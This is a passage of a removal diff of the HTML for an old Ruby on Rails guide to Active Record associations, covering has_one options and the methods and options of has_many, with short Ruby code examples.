-<li>
-<p>
-<tt>:readonly</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:select</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:source</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:source_type</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:through</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:validate</tt>
-</p>
-</li>
-</ul></div>
-<h5 id="_tt_as_tt"><tt>:as</tt></h5>
-<div class="paragraph"><p>Setting the <tt>:as</tt> option indicates that this is a polymorphic association. Polymorphic associations are discussed in detail later in this guide.</p></div>
-<h5 id="_tt_class_name_tt_2"><tt>:class_name</tt></h5>
-<div class="paragraph"><p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is Billing, you&#8217;d set things up this way:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Billing"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h5 id="_tt_conditions_tt_2"><tt>:conditions</tt></h5>
-<div class="paragraph"><p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL <tt>WHERE</tt> clause).</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"confirmed = 1"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h5 id="_tt_dependent_tt_2"><tt>:dependent</tt></h5>
-<div class="paragraph"><p>If you set the <tt>:dependent</tt> option to <tt>:destroy</tt>, then deleting this object will call the destroy method on the associated object to delete that object. If you set the <tt>:dependent</tt> option to <tt>:delete</tt>, then deleting this object will delete the associated object <em>without</em> calling its <tt>destroy</tt> method. If you set the <tt>:dependent</tt> option to <tt>:nullify</tt>, then deleting this object will set the foreign key in the association object to <tt>NULL</tt>.</p></div>
-<h5 id="_tt_foreign_key_tt_2"><tt>:foreign_key</tt></h5>
-<div class="paragraph"><p>By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"supp_id"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.</td>
-</tr></table>
-</div>
-<h5 id="_tt_include_tt_2"><tt>:include</tt></h5>
-<div class="paragraph"><p>You can use the :include option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_one <span style="color: #990000">:</span>account
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>supplier
- belongs_to <span style="color: #990000">:</span>representative
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Representative <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>accounts
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>If you frequently retrieve representatives directly from suppliers (<tt>@supplier.account.representative</tt>), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Supplier <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_one <span style="color: #990000">:</span>account<span style="color: #990000">,</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>representative
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Account <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- belongs_to <span style="color: #990000">:</span>supplier
- belongs_to <span style="color: #990000">:</span>representative
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Representative <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>accounts
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h5 id="_tt_order_tt"><tt>:order</tt></h5>
-<div class="paragraph"><p>The <tt>:order</tt> option dictates the order in which associated objects will be received (in the syntax used by a SQL <tt>ORDER BY</tt> clause). Because a <tt>has_one</tt> association will only retrieve a single associated object, this option should not be needed.</p></div>
-<h5 id="_tt_primary_key_tt"><tt>:primary_key</tt></h5>
-<div class="paragraph"><p>By convention, Rails guesses that the column used to hold the primary key of this model is <tt>id</tt>. You can override this and explicitly specify the primary key with the <tt>:primary_key</tt> option.</p></div>
-<h5 id="_tt_readonly_tt_2"><tt>:readonly</tt></h5>
-<div class="paragraph"><p>If you set the <tt>:readonly</tt> option to <tt>true</tt>, then the associated object will be read-only when retrieved via the association.</p></div>
-<h5 id="_tt_select_tt_2"><tt>:select</tt></h5>
-<div class="paragraph"><p>The <tt>:select</tt> option lets you override the SQL <tt>SELECT</tt> clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.</p></div>
-<h5 id="_tt_source_tt"><tt>:source</tt></h5>
-<div class="paragraph"><p>The <tt>:source</tt> option specifies the source association name for a <tt>has_one :through</tt> association.</p></div>
-<h5 id="_tt_source_type_tt"><tt>:source_type</tt></h5>
-<div class="paragraph"><p>The <tt>:source_type</tt> option specifies the source association type for a <tt>has_one :through</tt> association that proceeds through a polymorphic association.</p></div>
-<h5 id="_tt_through_tt"><tt>:through</tt></h5>
-<div class="paragraph"><p>The <tt>:through</tt> option specifies a join model through which to perform the query. <tt>has_one :through</tt> associations are discussed in detail later in this guide.</p></div>
-<h5 id="_tt_validate_tt_2"><tt>:validate</tt></h5>
-<div class="paragraph"><p>If you set the <tt>:validate</tt> option to <tt>true</tt>, then associated objects will be validated whenever you save this object. By default, this is <tt>false</tt>: associated objects will not be validated when this object is saved.</p></div>
-<h4 id="_when_are_objects_saved_2">4.2.3. When are Objects Saved?</h4>
-<div class="paragraph"><p>When you assign an object to a <tt>has_one</tt> association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.</p></div>
-<div class="paragraph"><p>If either of these saves fails due to validation errors, then the assignment statement returns <tt>false</tt> and the assignment itself is cancelled.</p></div>
-<div class="paragraph"><p>If the parent object (the one declaring the <tt>has_one</tt> association) is unsaved (that is, <tt>new_record?</tt> returns <tt>true</tt>) then the child objects are not saved.</p></div>
-<div class="paragraph"><p>If you want to assign an object to a <tt>has_one</tt> association without saving the object, use the <tt>association.build</tt> method.</p></div>
-<h3 id="_the_has_many_association">4.3. The has_many Association</h3>
-<div class="paragraph"><p>The <tt>has_many</tt> association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.</p></div>
-<h4 id="_methods_added">4.3.1. Methods Added</h4>
-<div class="paragraph"><p>When you declare a <tt>has_many</tt> association, the declaring class automatically gains 13 methods related to the association:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt><em>collection</em>(force_reload = false)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>&lt;&lt;(object, ...)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.delete(object, ...)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>=objects</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection\_singular</em>\_ids</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection\_singular</em>\_ids=ids</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.clear</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.empty?</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.size</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.find(...)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.exist?(...)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.build(attributes = {}, ...)</tt>
-</p>
-</li>
-<li>
-<p>
-<tt><em>collection</em>.create(attributes = {})</tt>
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to <tt>has_many</tt>, and <tt><em>collection\_singular</em></tt> is replaced with the singularized version of that symbol.. For example, given the declaration:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>orders
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Each instance of the customer model will have these methods:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>orders<span style="color: #990000">(</span>force_reload <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span><span style="color: #990000">)</span>
-orders<span style="color: #990000">&lt;&lt;(</span>object<span style="color: #990000">,</span> <span style="color: #990000">...)</span>
-orders<span style="color: #990000">.</span>delete<span style="color: #990000">(</span>object<span style="color: #990000">,</span> <span style="color: #990000">...)</span>
-orders<span style="color: #990000">=</span>objects
-order_ids
-order_ids<span style="color: #990000">=</span>ids
-orders<span style="color: #990000">.</span>clear
-orders<span style="color: #990000">.</span>empty?
-orders<span style="color: #990000">.</span>size
-orders<span style="color: #990000">.</span>find<span style="color: #990000">(...)</span>
-orders<span style="color: #990000">.</span>exist?<span style="color: #990000">(...)</span>
-orders<span style="color: #990000">.</span>build<span style="color: #990000">(</span>attributes <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">,</span> <span style="color: #990000">...)</span>
-orders<span style="color: #990000">.</span>create<span style="color: #990000">(</span>attributes <span style="color: #990000">=</span> <span style="color: #FF0000">{}</span><span style="color: #990000">)</span></tt></pre></div></div>
-<h5 id="_tt_em_collection_em_force_reload_false_tt"><tt><em>collection</em>(force_reload = false)</tt></h5>
-<div class="paragraph"><p>The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@orders</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders</tt></pre></div></div>
-<h5 id="_tt_em_collection_em_lt_lt_object_tt"><tt><em>collection</em>&lt;&lt;(object, ...)</tt></h5>
-<div class="paragraph"><p>The <tt><em>collection</em>&lt;&lt;</tt> method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders <span style="color: #990000">&lt;&lt;</span> <span style="color: #009900">@order1</span></tt></pre></div></div>
-<h5 id="_tt_em_collection_em_delete_object_tt"><tt><em>collection</em>.delete(object, ...)</tt></h5>
-<div class="paragraph"><p>The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by setting their foreign keys to <tt>NULL</tt>.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>delete<span style="color: #990000">(</span><span style="color: #009900">@order1</span><span style="color: #990000">)</span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">Objects will be in addition destroyed if they&#8217;re associated with <tt>:dependent =&gt; :destroy</tt>, and deleted if they&#8217;re associated with <tt>:dependent =&gt; :delete_all</tt>.</td>
-</tr></table>
-</div>
-<h5 id="_tt_em_collection_em_objects_tt"><tt><em>collection</em>=objects</tt></h5>
-<div class="paragraph"><p>The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.</p></div>
-<h5 id="_tt_em_collection_singular_em_ids_tt"><tt><em>collection\_singular</em>\_ids</tt></h5>
-<div class="paragraph"><p>The <tt><em>collection\_singular</em>\_ids</tt> method returns an array of the ids of the objects in the collection.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@order_ids</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>order_ids</tt></pre></div></div>
-<h5 id="_tt_em_collection_singular_em_ids_ids_tt"><tt><em>_collection\_singular</em>\_ids=ids</tt></h5>
-<div class="paragraph"><p>The <tt><em>_collection\_singular</em>\_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.</p></div>
-<h5 id="_tt_em_collection_em_clear_tt"><tt><em>collection</em>.clear</tt></h5>
-<div class="paragraph"><p>The <tt><em>collection</em>.clear</tt> method removes every object from the collection. This destroys the associated objects if they are associated with <tt>:dependent =&gt; :destroy</tt>, deletes them directly from the database if <tt>:dependent =&gt; :delete_all</tt>, and otherwise sets their foreign keys to <tt>NULL</tt>.</p></div>
-<h5 id="_tt_em_collection_em_empty_tt"><tt><em>collection</em>.empty?</tt></h5>
-<div class="paragraph"><p>The <tt><em>collection</em>.empty?</tt> method returns <tt>true</tt> if the collection does not contain any associated objects.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;% if @customer.orders.empty? %&gt;</span>
- No Orders Found
-<span style="color: #FF0000">&lt;% end %&gt;</span></tt></pre></div></div>
-<h5 id="_tt_em_collection_em_size_tt"><tt><em>collection</em>.size</tt></h5>
-<div class="paragraph"><p>The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@order_count</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>size</tt></pre></div></div>
-<h5 id="_tt_em_collection_em_find_tt"><tt><em>collection</em>.find(...)</tt></h5>
-<div class="paragraph"><p>The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.find</tt>.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@open_orders</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"open = 1"</span><span style="color: #990000">)</span></tt></pre></div></div>
-<h5 id="_tt_em_collection_em_exist_tt"><tt><em>collection</em>.exist?(...)</tt></h5>
-<div class="paragraph"><p>The <tt><em>collection</em>.exist?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as <tt>ActiveRecord::Base.exists?</tt>.</p></div>
-<h5 id="_tt_em_collection_em_build_attributes_tt"><tt><em>collection</em>.build(attributes = {}, ...)</tt></h5>
-<div class="paragraph"><p>The <tt><em>collection</em>.build</tt> method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will <em>not</em> yet be saved.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@order</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>build<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>order_date <span style="color: #990000">=&gt;</span> Time<span style="color: #990000">.</span>now<span style="color: #990000">,</span> <span style="color: #990000">:</span>order_number <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"A12345"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
-<h5 id="_tt_em_collection_em_create_attributes_tt"><tt><em>collection</em>.create(attributes = {})</tt></h5>
-<div class="paragraph"><p>The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and the associated object <em>will</em> be saved (assuming that it passes any validations).</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #009900">@order</span> <span style="color: #990000">=</span> <span style="color: #009900">@customer</span><span style="color: #990000">.</span>orders<span style="color: #990000">.</span>create<span style="color: #990000">(</span><span style="color: #FF0000">{</span><span style="color: #990000">:</span>order_date <span style="color: #990000">=&gt;</span> Time<span style="color: #990000">.</span>now<span style="color: #990000">,</span> <span style="color: #990000">:</span>order_number <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"A12345"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span></tt></pre></div></div>
-<h4 id="_options_for_has_many">4.3.2. Options for has_many</h4>
-<div class="paragraph"><p>In many situations, you can use the default behavior for <tt>has_many</tt> without any customization. But you can alter that behavior in a number of ways. This section covers the options that you can pass when you create a <tt>has_many</tt> association. For example, an association with several options might look like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>dependent <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>delete_all<span style="color: #990000">,</span> <span style="color: #990000">:</span>validate <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>has_many</tt> association supports these options:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>:as</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:class_name</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:conditions</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:counter_sql</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:dependent</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:extend</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:finder_sql</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:foreign_key</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:group</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:include</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:limit</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:offset</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:order</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:primary_key</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:readonly</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:select</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:source</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:source_type</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:through</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:uniq</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>:validate</tt>
-</p>
-</li>
-</ul></div>
-<h5 id="_tt_as_tt_2"><tt>:as</tt></h5>
-<div class="paragraph"><p>Setting the <tt>:as</tt> option indicates that this is a polymorphic association, as discussed earlier in this guide.</p></div>
-<h5 id="_tt_class_name_tt_3"><tt>:class_name</tt></h5>
-<div class="paragraph"><p>If the name of the other model cannot be derived from the association name, you can use the <tt>:class_name</tt> option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is <tt>Transaction</tt>, you&#8217;d set things up this way:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Transaction"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h5 id="_tt_conditions_tt_3"><tt>:conditions</tt></h5>
-<div class="paragraph"><p>The <tt>:conditions</tt> option lets you specify the conditions that the associated object must meet (in the syntax used by a SQL <tt>WHERE</tt> clause).</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>confirmed_orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Order"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"confirmed = 1"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>You can also set conditions via a hash:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>confirmed_orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>class_name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"Order"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>confirmed <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>If you use a hash-style <tt>:conditions</tt> option, then record creation via this association will be automatically scoped using the hash. In this case, using <tt>@customer.confirmed_orders.create</tt> or <tt>@customer.confirmed_orders.build</tt> will create orders where the confirmed column has the value <tt>true</tt>.</p></div>
-<h5 id="_tt_counter_sql_tt"><tt>:counter_sql</tt></h5>
-<div class="paragraph"><p>Normally Rails automatically generates the proper SQL to count the association members. With the <tt>:counter_sql</tt> option, you can specify a complete SQL statement to count them yourself.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">If you specify <tt>:finder_sql</tt> but not <tt>:counter_sql</tt>, then the counter SQL will be generated by substituting <tt>SELECT COUNT(*) FROM</tt> for the <tt>SELECT ... FROM</tt> clause of your <tt>:finder_sql</tt> statement.</td>
-</tr></table>
-</div>
-<h5 id="_tt_dependent_tt_3"><tt>:dependent</tt></h5>
-<div class="paragraph"><p>If you set the <tt>:dependent</tt> option to <tt>:destroy</tt>, then deleting this object will call the destroy method on the associated objects to delete those objects. If you set the <tt>:dependent</tt> option to <tt>:delete_all</tt>, then deleting this object will delete the associated objects <em>without</em> calling their <tt>destroy</tt> method. If you set the <tt>:dependent</tt> option to <tt>:nullify</tt>, then deleting this object will set the foreign key in the associated objects to <tt>NULL</tt>.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">This option is ignored when you use the <tt>:through</tt> option on the association.</td>
-</tr></table>
-</div>
-<h5 id="_tt_extend_tt"><tt>:extend</tt></h5>
-<div class="paragraph"><p>The <tt>:extend</tt> option specifies a named module to extend the association proxy. Association extensions are discussed in detail later in this guide.</p></div>
-<h5 id="_tt_finder_sql_tt"><tt>:finder_sql</tt></h5>
-<div class="paragraph"><p>Normally Rails automatically generates the proper SQL to fetch the association members. With the <tt>:finder_sql</tt> option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.</p></div>
-<h5 id="_tt_foreign_key_tt_3"><tt>:foreign_key</tt></h5>
-<div class="paragraph"><p>By convention, Rails guesses that the column used to hold the foreign key on the other model is the name of this model with the suffix <tt>_id</tt> added. The <tt>:foreign_key</tt> option lets you set the name of the foreign key directly:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- has_many <span style="color: #990000">:</span>orders<span style="color: #990000">,</span> <span style="color: #990000">:</span>foreign_key <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"cust_id"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.</td>
-</tr></table>
-</div>
-<h5 id="_tt_group_tt"><tt>:group</tt></h5>
-<div class="paragraph"><p>The <tt>:group</tt> option supplies an attribute name to group the result set by, using a <tt>GROUP BY</tt> clause in the finder SQL.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Customer <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
